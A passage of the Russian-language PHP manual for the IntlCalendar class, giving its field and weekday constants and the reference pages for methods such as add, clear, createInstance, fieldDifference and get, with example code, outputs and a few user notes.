Поле календаря для секунд.

IntlCalendar::FIELD_MILLISECOND

Поле календаря для миллисекунд.

IntlCalendar::FIELD_ZONE_OFFSET

Поле календаря для «сырого» смещения часового пояса, в миллисекундах. "Сырое" смещение не учитывает переходы на летнее/зимнее время.

IntlCalendar::FIELD_DST_OFFSET

Поле календаря для смещения часового пояса в миллисекундах в зависимости от летнего/зимнего времени, если применимо к данному часовому поясу.

IntlCalendar::FIELD_YEAR_WOY

Поле календаря представляющее год для недели года.

IntlCalendar::FIELD_DOW_LOCAL

Поле календаря для локализованного дня недели. Принимает значения в диапазоне от 1 до 7. 1 используется для дня недели соответствующего значению возвращаемому функцией IntlCalendar::getFirstDayOfWeek().

IntlCalendar::FIELD_EXTENDED_YEAR

Поле календаря для представления номера года в контексте обеспечения непрерывности между эпохами. Например, для Грегорианского календаря, это значение для эпохи "после рождества Христова" будет соответствовать IntlCalendar::FIELD_YEAR, а для эпохи "до рождества Христова", год y будет представлен как -y + 1.

IntlCalendar::FIELD_JULIAN_DAY

Поле календаря для модифицированных номеров дней Юлианского календаря. В отличие от стандартного Юлианского календаря, в нем переход происходит в полночь по локальному времени, а не в полдень по UTC. Он однозначно идентифицирует дату.

IntlCalendar::FIELD_MILLISECONDS_IN_DAY

Поле календаря, охватывающее IntlCalendar::FIELD_HOUR_OF_DAY, IntlCalendar::FIELD_MINUTE, IntlCalendar::FIELD_SECOND и IntlCalendar::FIELD_MILLISECOND. Находится в диапазоне от 0 до 24 * 3600 * 1000 - 1. Это не количество миллисекунд, прошедшее с полуночи, так как в моменты перехода на летнее/зимнее время будет иметь разрывы.

IntlCalendar::FIELD_IS_LEAP_MONTH

Поле календаря принимающее значение 1 для високосного месяца и 0 для обычного.

IntlCalendar::FIELD_FIELD_COUNT

Общее количество полей.

IntlCalendar::FIELD_DAY_OF_MONTH

Псевдоним для IntlCalendar::FIELD_DATE.

IntlCalendar::DOW_SUNDAY

Воскресенье.

IntlCalendar::DOW_MONDAY

Понедельник.

IntlCalendar::DOW_TUESDAY

Вторник.

IntlCalendar::DOW_WEDNESDAY

Среда.

IntlCalendar::DOW_THURSDAY

Четверг.

IntlCalendar::DOW_FRIDAY

Пятница.

IntlCalendar::DOW_SATURDAY

Суббота.

IntlCalendar::DOW_TYPE_WEEKDAY

Вывод IntlCalendar::getDayOfWeekType() означает, что день будний.

IntlCalendar::DOW_TYPE_WEEKEND

Вывод IntlCalendar::getDayOfWeekType() означает, что день выходной.

IntlCalendar::DOW_TYPE_WEEKEND_OFFSET

Вывод IntlCalendar::getDayOfWeekType() означает, что выходные начинаются в этот день.

IntlCalendar::DOW_TYPE_WEEKEND_CEASE

Вывод IntlCalendar::getDayOfWeekType() означает, что выходные заканчиваются в этот день.

IntlCalendar::WALLTIME_FIRST

Вывод IntlCalendar::getSkippedWallTimeOption() означает, что время в пропущенном диапазоне должно ссылаться на момент времени меньший на один час и вывод IntlCalendar::getRepeatedWallTimeOption() означает, что время в повторяемом диапазоне должно относиться к моменту первого появления такого времени.

IntlCalendar::WALLTIME_LAST

Вывод IntlCalendar::getSkippedWallTimeOption() означает, что время в пропущенном диапазоне должно ссылаться на момент времени больший на один час и вывод IntlCalendar::getRepeatedWallTimeOption() означает, что время в повторяемом диапазоне должно относиться к моменту второго появления такого времени.

IntlCalendar::WALLTIME_NEXT_VALID

Вывод IntlCalendar::getSkippedWallTimeOption() означает, что время в пропущенном диапазоне относится к моменту, когда случился переход на зимнее/летнее время.

Содержание

  • IntlCalendar::add — Добавляет количество (со знаком) времени в поле
  • IntlCalendar::after — Определяет, время этого объекта позже времени переданного объекта
  • IntlCalendar::before — Определяет, время этого объекта раньше времени переданного объекта
  • IntlCalendar::clear — Очищает поле или все поля
  • IntlCalendar::__construct — Закрытый конструктор для запрета создания экземпляров
  • IntlCalendar::createInstance — Создаёт новый объект IntlCalendar
  • IntlCalendar::equals — Сравнивает время двух объектов IntlCalendar на предмет равенства
  • IntlCalendar::fieldDifference — Вычисляет разницу между заданным временем и временем объекта
  • IntlCalendar::fromDateTime — Создаёт IntlCalendar из объекта или строки DateTime
  • IntlCalendar::get — Получает значение поля
  • IntlCalendar::getActualMaximum — Максимальное значение для поля с учётом текущего времени объекта
  • IntlCalendar::getActualMinimum — Минимальное значение для поля с учётом текущего времени объекта
  • IntlCalendar::getAvailableLocales — Получает массив языковых стандартов, для которых есть данные
  • IntlCalendar::getDayOfWeekType — Сообщает, является ли день будним, выходным или днём с переходом между ними
  • IntlCalendar::getErrorCode — Получает последний код ошибки объекта
  • IntlCalendar::getErrorMessage — Получает последнее сообщение об ошибке для объекта
  • IntlCalendar::getFirstDayOfWeek — Получает первый день недели для языкового стандарта календаря
  • IntlCalendar::getGreatestMinimum — Получает наибольшее локальное минимальное значение поля
  • IntlCalendar::getKeywordValuesForLocale — Получает набор значений ключевых слов языкового стандарта
  • IntlCalendar::getLeastMaximum — Получает наименьший локальный максимум для поля
  • IntlCalendar::getLocale — Получает языковой стандарт, связанный с объектом
  • IntlCalendar::getMaximum — Получает глобальное максимальное значение поля
  • IntlCalendar::getMinimalDaysInFirstWeek — Получает минимальное количество дней, которое может быть в первой неделе в году или месяце
  • IntlCalendar::getMinimum — Получает глобальное минимальное значение поля
  • IntlCalendar::getNow — Получает число, представляющее текущее время
  • IntlCalendar::getRepeatedWallTimeOption — Получает поведение для обработки повторяющегося времени процессора
  • IntlCalendar::getSkippedWallTimeOption — Получает поведение для обработки пропущенного времени процессора
  • IntlCalendar::getTime — Получает время, представленное в данный момент объектом
  • IntlCalendar::getTimeZone — Получает часовой пояс объекта
  • IntlCalendar::getType — Получает тип календаря
  • IntlCalendar::getWeekendTransition — Получает время дня, когда выходные начинаются или заканчиваются
  • IntlCalendar::inDaylightTime — Определяет, переходит ли время объекта на летнее время
  • IntlCalendar::isEquivalentTo — Определяет, равен ли другой календарь, но для другого времени
  • IntlCalendar::isLenient — Определяет, является ли интерпретация даты/времени мягкой
  • IntlCalendar::isSet — Определяет, установлено ли поле
  • IntlCalendar::isWeekend — Определяет, приходятся ли определённые дата/время на выходные
  • IntlCalendar::roll — Добавляет значение в поле без переноса в более важные поля
  • IntlCalendar::set — Устанавливает поле времени или сразу несколько общих полей
  • IntlCalendar::setDate — Set a date fields
  • IntlCalendar::setDateTime — Set a date and time fields
  • IntlCalendar::setFirstDayOfWeek — Устанавливает день, который является началом недели
  • IntlCalendar::setLenient — Устанавливает, должна ли интерпретация даты/времени быть мягкой
  • IntlCalendar::setMinimalDaysInFirstWeek — Устанавливает минимальное количество дней, которое может быть в первой неделе в году или месяце
  • IntlCalendar::setRepeatedWallTimeOption — Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса
  • IntlCalendar::setSkippedWallTimeOption — Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса
  • IntlCalendar::setTime — Устанавливает календарное время в миллисекундах с начала эпохи Unix
  • IntlCalendar::setTimeZone — Устанавливает часовой пояс, используемый календарём
  • IntlCalendar::toDateTime — Преобразует IntlCalendar в объект DateTime

User Contributed Notes

Doug 20-Jan-2023 03:54
Example obtaining a week and its boundaries (for building a calendar view):

<?php
$date = new DateTime('now');
$locale = 'en_US';

$thisWeek = IntlCalendar::fromDateTime($date, $locale);
$thisWeek->set(IntlCalendar::FIELD_DAY_OF_WEEK, $thisWeek->getFirstDayOfWeek());
// $thisWeek now points to the first day of the week
$weekStart = $thisWeek->toDateTime();

$daysToAdvance = $thisWeek->getMaximum(IntlCalendar::FIELD_DAY_OF_WEEK) - 1;
// Maximum number of days in a week minus 1 gets you to the last day
$weekEnd = $weekStart->modify("+{$daysToAdvance} days");

$previousWeek = IntlCalendar::fromDateTime($date, $locale);
$previousWeek->add(IntlCalendar::FIELD_WEEK_OF_YEAR, -1);
$previousWeek = $previousWeek->toDateTime();

$nextWeek = IntlCalendar::fromDateTime($date, $locale);
$nextWeek->add(IntlCalendar::FIELD_WEEK_OF_YEAR, 1);
$nextWeek = $nextWeek->toDateTime();
?>


Добавляет количество (со знаком) времени в поле

  • « IntlCalendar
  • IntlCalendar::after »
  • PHP Manual
  • IntlCalendar
  • Добавляет количество (со знаком) времени в поле

IntlCalendar::add

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::add — Добавляет количество (со знаком) времени в поле

Описание

Объектно-ориентированный стиль

public IntlCalendar::add(int $field, int $value): bool

Процедурный стиль

intlcal_add(IntlCalendar $calendar, int $field, int $value): bool

Добавляет количество со знаком в поле. Добавление положительной суммы позволяет продвигаться во времени, даже если числовое значение поля уменьшается (например, при работе с годами до нашей эры).

Другие поля могут нуждаться в корректировке, например, добавление месяца к 31 января приведёт к 28 (или 29) февраля. В отличие от IntlCalendar::roll(), когда значение оборачивается, более важные поля могут измениться. Например, добавление 1 дня к 31 января приведёт к 1 февраля, а не к 1 января.

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

value

Количество со знаком, добавляемое к текущему полю. Если сумма положительная, момент времени будет перемещён вперёд; если он отрицательный, момент времени будет перемещён в прошлое. Единица неявно связана с типом поля. Например, часы для IntlCalendar::FIELD_HOUR_OF_DAY.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::add()

<?php
ini_set('intl.default_locale', 'fr_FR');
ini_set('date.timezone', 'UTC');

$cal = new IntlGregorianCalendar(2012, 0 /* January */, 31);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

Результат выполнения данного примера:

31 janv. 2012 00:00:00
29 fevr. 2012 00:00:00
1 mars 2012 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Определяет, время этого объекта позже времени переданного объекта

  • « IntlCalendar::add
  • IntlCalendar::before »
  • PHP Manual
  • IntlCalendar
  • Определяет, время этого объекта позже времени переданного объекта

IntlCalendar::after

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::after — Определяет, время этого объекта позже времени переданного объекта

Описание

Объектно-ориентированный стиль

public IntlCalendar::after(IntlCalendar $other): bool

Процедурный стиль

intlcal_after(IntlCalendar $calendar, IntlCalendar $other): bool

Возвращает, соответствует ли время этого объекта времени аргумента.

Список параметров

calendar

Экземпляр IntlCalendar.

other

Календарь, время которого будет сравниваться со временем основного объекта.

Возвращаемые значения

Возвращает true, если текущее время этого объекта позже времени аргумента calendar. В противном случае возвращает false.

В случае возникновения ошибки также возвращается false. Для обнаружения условий ошибки используйте intl_get_error_code() или настройте выбрасывание исключений в Intl.

Примеры

Пример #1 Пример использования IntlCalendar::after()

<?php
$cal1 = IntlCalendar::createInstance();
$cal2 = clone $cal1;

var_dump($cal1->after($cal2), //false
$cal2->after($cal1)); //false

$cal1->roll(IntlCalendar::FIELD_MILLISECOND, true);

var_dump($cal1->after($cal2), //true
$cal2->after($cal1)); //false

User Contributed Notes

There are no user contributed notes for this page.


Определяет, время этого объекта раньше времени переданного объекта

  • « IntlCalendar::after
  • IntlCalendar::clear »
  • PHP Manual
  • IntlCalendar
  • Определяет, время этого объекта раньше времени переданного объекта

IntlCalendar::before

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::before — Определяет, время этого объекта раньше времени переданного объекта

Описание

Объектно-ориентированный стиль

public IntlCalendar::before(IntlCalendar $other): bool

Процедурный стиль

intlcal_before(IntlCalendar $calendar, IntlCalendar $other): bool

Возвращает, предшествует ли время этого объекта времени аргумента.

Список параметров

calendar

Экземпляр IntlCalendar.

other

Календарь, время которого будет сравниваться со временем основного объекта.

Возвращаемые значения

Возвращает true, если текущее время этого объекта раньше времени аргумента calendar. В противном случае возвращает false.

В случае возникновения ошибки также возвращается false. Для обнаружения условий ошибки используйте intl_get_error_code() или настройте выбрасывание исключений в Intl.

User Contributed Notes

There are no user contributed notes for this page.


Очищает поле или все поля

  • « IntlCalendar::before
  • IntlCalendar::__construct »
  • PHP Manual
  • IntlCalendar
  • Очищает поле или все поля

IntlCalendar::clear

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::clear — Очищает поле или все поля

Описание

Объектно-ориентированный стиль

public IntlCalendar::clear(?int $field = null): true

Процедурный стиль

intlcal_clear(IntlCalendar $calendar, ?int $field = null): true

Очищает либо все поля, либо определённое поле. Очищенное поле помечается как не заданное, что даёт ему самый низкий приоритет по отношению к переопределяющим полям или даже значениям по умолчанию при вычислении времени. Кроме того, его значение установлено на 0, хотя, учитывая низкий приоритет поля, его значение могло быть внутренне установлено на другое значение к моменту завершения запроса поля.

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования IntlCalendar::clear()

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'UTC');

$fields = array(
'FIELD_ERA' => 0,
'FIELD_YEAR' => 1,
'FIELD_MONTH' => 2,
'FIELD_WEEK_OF_YEAR' => 3,
'FIELD_WEEK_OF_MONTH' => 4,
'FIELD_DATE' => 5,
'FIELD_DAY_OF_YEAR' => 6,
'FIELD_DAY_OF_WEEK' => 7,
'FIELD_DAY_OF_WEEK_IN_MONTH' => 8,
'FIELD_AM_PM' => 9,
'FIELD_HOUR' => 10,
'FIELD_HOUR_OF_DAY' => 11,
'FIELD_MINUTE' => 12,
'FIELD_SECOND' => 13,
'FIELD_MILLISECOND' => 14,
'FIELD_ZONE_OFFSET' => 15,
'FIELD_DST_OFFSET' => 16,
'FIELD_YEAR_WOY' => 17,
'FIELD_DOW_LOCAL' => 18,
'FIELD_EXTENDED_YEAR' => 19,
'FIELD_JULIAN_DAY' => 20,
'FIELD_MILLISECONDS_IN_DAY' => 21,
'FIELD_IS_LEAP_MONTH' => 22,
'FIELD_FIELD_COUNT' => 23,
);
function getSetFields(IntlCalendar $cal) {
global $fields;
$ret = array();
foreach ($fields as $name => $value) {
if ($cal->isSet($value)) {
$ret[] = $name;
}
}
return $ret;
}

$cal = new IntlGregorianCalendar(2013, 2 /* Март */, 15);
echo "После создания григорианского календаря\n";
print_r(getSetFields($cal));
echo "\n";

echo IntlDateFormatter::formatObject($cal), "\n";
echo "После того, как средство форматирования запросило поле EXTENDED_YEAR\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear(IntlCalendar::FIELD_YEAR);
echo "После того, как год будет очищен, дата останется прежней\n";
echo IntlDateFormatter::formatObject($cal), "\n";
echo "Потому что FIELD_EXTENDED_YEAR все ещё установлен\n";
print_r(getSetFields($cal));
echo "\n";

var_dump($cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR));
echo "После того, как поле EXTENDED_YEAR было очищено\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";
echo "\n";

echo "После пересчёта полей,\n"
. " снова установлено поле EXTENDED_YEAR (до 1970 г.)\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear();
echo "После вызова варианта без аргументов\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";

Результат выполнения данного примера:

После создания григорианского календаря
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
)

15/03/2013 00:00:00
После того, как средство форматирования запросило поле EXTENDED_YEAR
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
    [4] => FIELD_EXTENDED_YEAR
)

После того, как год будет очищен, дата останется прежней
15/03/2013 00:00:00
Потому что FIELD_EXTENDED_YEAR все ещё установлен
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

bool(true)
После того, как поле EXTENDED_YEAR было очищено
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
)
15/03/1970 00:00:00

После пересчёта полей,
 снова установлено поле EXTENDED_YEAR (до 1970 г.)
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

После вызова варианта без аргументов
Array
(
)
01/01/1970 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Закрытый конструктор для запрета создания экземпляров

  • « IntlCalendar::clear
  • IntlCalendar::createInstance »
  • PHP Manual
  • IntlCalendar
  • Закрытый конструктор для запрета создания экземпляров

IntlCalendar::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::__construct — Закрытый конструктор для запрета создания экземпляров

Описание

private IntlCalendar::__construct()

Закрытый конструктор для запрета создания экземпляров с помощью оператора new.

Вместо этого используйте метод IntlCalendar::createInstance().

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект IntlCalendar

  • « IntlCalendar::__construct
  • IntlCalendar::equals »
  • PHP Manual
  • IntlCalendar
  • Создаёт новый объект IntlCalendar

IntlCalendar::createInstance

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::createInstance — Создаёт новый объект IntlCalendar

Описание

Объектно-ориентированный стиль

public static IntlCalendar::createInstance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar

Процедурный стиль

intlcal_create_instance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar

Учитывая часовой пояс и языковой стандарт, метод создаёт объект IntlCalendar. Этот фабричный метод может возвращать дочерний класс IntlCalendar.

Созданный календарь будет представлять момент времени, в который он был создан, на основе системного времени. Все поля можно очистить, вызвав IntCalendar::clear() без аргументов. Смотрите также IntlGregorianCalendar::__construct().

Список параметров

timezone

Часовой пояс для использования.

  • Если null, то будет использован часовой пояс по умолчанию, заданная в ini-настройки date.timezone либо с помощью функции date_default_timezone_set() и возвращённая функцией date_default_timezone_get().

  • Объект класса IntlTimeZone.

  • Объект класса DateTimeZone. Его идентификатор будет извлечён и на его основе будет создан объект часового пояса ICU; часовой пояс будет сохранён в базе данных ICU, а не PHP.

  • Строка, являющаяся корректным идентификатором часового пояса ICU. Смотрите IntlTimeZone::createTimeZoneIDEnumeration(). "Сырые" смещения, типа "GMT+08:30", также поддерживаются.

locale

Используемый языковой стандарт или значение null для использования языкового стандарта по умолчанию.

Возвращаемые значения

Созданный экземпляр IntlCalendar или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::createInstance()

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'Europe/Madrid');

$cal = IntlCalendar::createInstance();
echo "Без аргументов\n";
var_dump(get_class($cal),
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Явное указание часового пояса\n";
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT());
var_dump(get_class($cal),
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Явное указание языкового стандарта (с календарём)\n";
$cal = IntlCalendar::createInstance(NULL, 'es_ES@calendar=persian');
var_dump(get_class($cal),
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));

Результат выполнения данного примера:

Без аргументов
string(21) "IntlGregorianCalendar"
string(68) "martes 18 de junio de 2013 14:11:02 Hora de verano de Europa Central"

Явное указание часового пояса
string(21) "IntlGregorianCalendar"
string(45) "martes 18 de junio de 2013 12:11:02 GMT+00:00"

Явное указание языкового стандарта (с календарём)
string(12) "IntlCalendar"
string(70) "martes 28 de Khordad de 1392 14:11:02 Hora de verano de Europa Central"

Смотрите также

  • IntlGregorianCalendar::__construct() - Конструктор класса григорианского календаря

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает время двух объектов IntlCalendar на предмет равенства

  • « IntlCalendar::createInstance
  • IntlCalendar::fieldDifference »
  • PHP Manual
  • IntlCalendar
  • Сравнивает время двух объектов IntlCalendar на предмет равенства

IntlCalendar::equals

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::equals — Сравнивает время двух объектов IntlCalendar на предмет равенства

Описание

Объектно-ориентированный стиль

public IntlCalendar::equals(IntlCalendar $other): bool

Процедурный стиль

intlcal_equals(IntlCalendar $calendar, IntlCalendar $other): bool

Возвращает true, если у обоих календарей одно и то же время. Настройки, типы календаря и состояния полей не обязательно должны совпадать.

Список параметров

calendar

Экземпляр IntlCalendar.

other

Календарь для сравнения с основным объектом.

Возвращаемые значения

Возвращает true, если текущее время этого и переданного в IntlCalendar объекта одинаковое или false в противном случае.

В случае возникновения ошибки также возвращается false. Для обнаружения условий ошибки используйте intl_get_error_code() или настройте выбрасывание исключений в Intl.

Примеры

Пример #1 Пример использования IntlCalendar::equals()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
$cal2 = clone $cal1;

var_dump($cal1->equals($cal2)); //TRUE

// Языковой стандарт не включён в сравнение
$cal2 = IntlCalendar::createInstance(NULL, 'pt_PT');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

// И состояние установленных полей также не включено
$cal2->clear(IntlCalendar::FIELD_YEAR);
var_dump($cal1->isSet(IntlCalendar::FIELD_YEAR) ==
$cal2->isSet(IntlCalendar::FIELD_YEAR)); //FALSE
var_dump($cal1->equals($cal2)); //TRUE

// И тип календаря
$cal2 = IntlCalendar::createInstance(NULL, 'es_ES@calendar=islamic');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

// Только время
$cal2 = clone $cal1;
$cal2->setTime($cal1->getTime() + 1.);
var_dump($cal1->equals($cal2)); //FALSE

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет разницу между заданным временем и временем объекта

  • « IntlCalendar::equals
  • IntlCalendar::fromDateTime »
  • PHP Manual
  • IntlCalendar
  • Вычисляет разницу между заданным временем и временем объекта

IntlCalendar::fieldDifference

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::fieldDifference — Вычисляет разницу между заданным временем и временем объекта

Описание

Объектно-ориентированный стиль

public IntlCalendar::fieldDifference(float $timestamp, int $field): int|false

Процедурный стиль

intlcal_field_difference(IntlCalendar $calendar, float $timestamp, int $field): int|false

Возвращает разницу между заданным временем и временем, установленным для объекта, относительно количества, указанного в параметре field.

Метод предназначен для последовательного вызова, сначала от наиболее значимой областью интересов до наименее значимой области. В качестве побочного эффекта, значение календаря для указанного поля увеличивается на возвращённую сумму.

Список параметров

calendar

Экземпляр IntlCalendar.

timestamp

Время, с которым сравнивается количество, представленное field. Чтобы результат был положительным, время, указанное в этом параметре, должно опережать время объекта, для которого вызывается метод.

field

Поле, представляющее сравниваемое количество.

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Возвращает разность времени (со знаком) в единицах измерения, связанных с указанным полем или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::fieldDifference()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal1 = IntlCalendar::fromDateTime('2012-02-29 09:00:11');
$cal2 = IntlCalendar::fromDateTime('2013-03-01 09:19:29');
$time = $cal2->getTime();

echo "Время до: ", IntlDateFormatter::formatObject($cal1), "\n";

printf(
"Разница во времени: %d год(лет), %d месяц(ев), "
. "%d день(дней), %d час(ов) и %d минуту(минут)\n",
$cal1->fieldDifference($time, IntlCalendar::FIELD_YEAR),
$cal1->fieldDifference($time, IntlCalendar::FIELD_MONTH),
$cal1->fieldDifference($time, IntlCalendar::FIELD_DAY_OF_MONTH),
$cal1->fieldDifference($time, IntlCalendar::FIELD_HOUR_OF_DAY),
$cal1->fieldDifference($time, IntlCalendar::FIELD_MINUTE)
);

// теперь оно было продвинуто к целевому времени, за исключением секунд,
// для которых мы не измеряли разницу
echo "Время после: ", IntlDateFormatter::formatObject($cal1), "\n";

Результат выполнения данного примера:

Время до: 29 fevr. 2012 09:00:11
Разница во времени: 1 год(лет), 0 месяц(ев), 1 день(дней), 0 час(ов) and 19 минуту(минут)
Время после: 1 mars 2013 09:19:11

User Contributed Notes

There are no user contributed notes for this page.


Создаёт IntlCalendar из объекта или строки DateTime

  • « IntlCalendar::fieldDifference
  • IntlCalendar::get »
  • PHP Manual
  • IntlCalendar
  • Создаёт IntlCalendar из объекта или строки DateTime

IntlCalendar::fromDateTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a2)

IntlCalendar::fromDateTime — Создаёт IntlCalendar из объекта или строки DateTime

Описание

Объектно-ориентированный стиль

public static IntlCalendar::fromDateTime(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar

Процедурный стиль

intlcal_from_date_time(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar

Создаёт объект IntlCalendar либо из объекта DateTime, либо из строки, из которой может быть инициализирован объект DateTime.

Новый календарь будет представлять не только тот же момент, что и заданный DateTime (с учётом потери точности для дат в очень далёком в прошлом или будущем), но и тот же часовой пояс (с оговоркой, что если будут использоваться разные базы данных часовых поясов, то результаты могут отличаться).

Список параметров

datetime

Объект DateTime или строка (string, которая может быть передана в DateTime::__construct().

Возвращаемые значения

Созданный объект IntlCalendar или null в случае возникновения ошибки. Если передаётся строка (string), выбрасывается любое исключение, возникающее внутри конструктора DateTime.

Примеры

Пример #1 Пример использования IntlCalendar::fromDateTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

// то же, что и IntlCalendar::fromDateTime(new DateTime(...))
$cal1 = IntlCalendar::fromDateTime('2013-02-28 00:01:02 Europe/Berlin');

// Обратите внимание, что часовой пояс - Europe/Berlin, а не Europe/Lisbon по умолчанию
echo IntlDateFormatter::formatObject($cal1, 'yyyy MMMM d HH:mm:ss VVVV', 'de_DE'), "\n";

Результат выполнения данного примера:

2013 Februar 28 00:01:02 Deutschland Zeit

User Contributed Notes

SenseException 23-Feb-2014 02:06
Don't forget that fromDateTime() doesn't set any locale and that the default one will be set. In my case it was en_US_POSIX.

If you wan't to create a IntlCalendar object containing the values of a DateTime object with your locale, use createInstance() instead and do a

<?php
$intlCalendar->setTime($dateTime->getTimestamp() * 1000);
?>

IntlCalendar works with milliseconds so you need to multiply the timestamp with 1000.

Using fromDateTime() can cause unwanted behaviour like getFirstDayOfWeek() returning a wrong integer.


Получает значение поля

  • « IntlCalendar::fromDateTime
  • IntlCalendar::getActualMaximum »
  • PHP Manual
  • IntlCalendar
  • Получает значение поля

IntlCalendar::get

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::get — Получает значение поля

Описание

Объектно-ориентированный стиль

public IntlCalendar::get(int $field): int|false

Процедурный стиль

intlcal_get(IntlCalendar $calendar, int $field): int|false

Получает значение определённого поля.

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Целое число со значением поля времени.

Примеры

Пример #1 Пример использования IntlCalendar::get()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$class = new ReflectionClass('IntlCalendar');
$fields = array();
foreach ($class->getConstants() as $name => $val) {
if (strpos($name, 'FIELD_') !== 0 || $val > 22)
continue;
$fields[$val] = $name;
}

$cal = IntlCalendar::createInstance(); // current time
var_dump(IntlDateFormatter::formatObject($cal));
foreach ($fields as $val => $name) {
echo "$val ($name)", "\n ", $cal->get($val), "\n";
}

Результат выполнения данного примера:

string(23) "Jul 1, 2013, 4:44:44 AM"
0 (FIELD_ERA)
    1
1 (FIELD_YEAR)
    2013
2 (FIELD_MONTH)
    6
3 (FIELD_WEEK_OF_YEAR)
    27
4 (FIELD_WEEK_OF_MONTH)
    1
5 (FIELD_DAY_OF_MONTH)
    1
6 (FIELD_DAY_OF_YEAR)
    182
7 (FIELD_DAY_OF_WEEK)
    2
8 (FIELD_DAY_OF_WEEK_IN_MONTH)
    1
9 (FIELD_AM_PM)
    0
10 (FIELD_HOUR)
    4
11 (FIELD_HOUR_OF_DAY)
    4
12 (FIELD_MINUTE)
    44
13 (FIELD_SECOND)
    44
14 (FIELD_MILLISECOND)
    551
15 (FIELD_ZONE_OFFSET)
    0
16 (FIELD_DST_OFFSET)
    3600000
17 (FIELD_YEAR_WOY)
    2013
18 (FIELD_DOW_LOCAL)
    2
19 (FIELD_EXTENDED_YEAR)
    2013
20 (FIELD_JULIAN_DAY)
    2456475
21 (FIELD_MILLISECONDS_IN_DAY)
    17084551
22 (FIELD_IS_LEAP_MONTH)
    0

User Contributed Notes

There are no user contributed notes for this page.


Максимальное значение для поля с учётом текущего времени объекта

  • « IntlCalendar::get
  • IntlCalendar::getActualMinimum »
  • PHP Manual
  • IntlCalendar
  • Максимальное значение для поля с учётом текущего времени объекта

IntlCalendar::getActualMaximum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getActualMaximum — Максимальное значение для поля с учётом текущего времени объекта

